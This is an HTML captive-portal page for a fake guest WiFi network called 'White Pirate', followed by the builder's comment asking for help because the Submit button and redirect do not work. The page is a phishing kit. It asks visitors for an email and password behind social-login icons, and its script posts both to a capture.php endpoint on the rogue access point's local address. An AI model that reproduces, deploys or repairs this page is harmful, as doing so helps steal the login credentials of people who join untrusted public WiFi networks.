<html>
<head>
<title>White Pirate WiFi</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
body {
background-image: url(images/tile8.jpg);
background-repeat: repeat;
}
</style>
</head>
<script type="text/javascript">
function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function redirectToTarget() {
window.location = $authtarget;
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>";
var usernamevalue=encodeURIComponent(document.getElementById("username").value)
var passwordvalue=encodeURIComponent(document.getElementById("password").value)
var parameters="username="+usernamevalue+"&password="+passwordvalue
xmlhttp.open("POST", "http://172.16.42.1/capture.php", true)
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
xmlhttp.send(parameters)
}
</script>
<body text="#FFFFFF" link="#FF0004" vlink="#FF0004" alink="#FF0004">
<center>
<br />
<br />
<h1><Strong>Welcome to 'White Pirate' Guest WiFi</Strong></h1>
<p><br />
</p>
<form action="capture" method="post">
<fieldset>
<p><strong><em>Please login using any of the following.</em></strong></p>
<table width="500">
<tr>
<td width="20%" colspan="1" align=left>Email</td>
<td colspan="3"><input name="username" type="text" id="username" /></td>
</tr>
<tr>
<td colspan="1" align=left>Password</td>
<td colspan="3"><input type="password" name="password" id="password" /></td>
</tr>
<tr>
<td><blockquote>
<p><img src="images/social-facebook-box-white-icon.png" width="49" height="49" /></p>
</blockquote></td>
<td width="19%"><blockquote>
<p><img src="images/social-yahoo-box-white-icon.png" width="49" height="49"/></p>
</blockquote></td>
<td width="20%"><blockquote>
<p><img src="images/social-twitter-box-white-icon.png" width="49" height="49"/></p>
</blockquote></td>
<td width="41%"><blockquote>
<p><img src="images/social-google-box-white-icon.png" width="49" height="49"/></p>
</blockquote></td>
</tr>
</table>
</fieldset>
</form>
<p><br />
</p>
<form method="POST" action="http://172.16.42.1/capture.php">
<button type="button" onclick="sendInfo();return false;redirectToTarget()">Submit</button>
</form>
</p>
</center>
</body>
</html
Okay so here is the revised copy.. however its sending me to the "www.gstatic.com/generate_204" .. and the 'Submit' button doesnt do ANYTHING either.. doesnt even refresh the page lol nor does it $auth so i cant even change the page to continue.. :/
And yes.. i've made the typo-fixes when I tried this as well lol ;)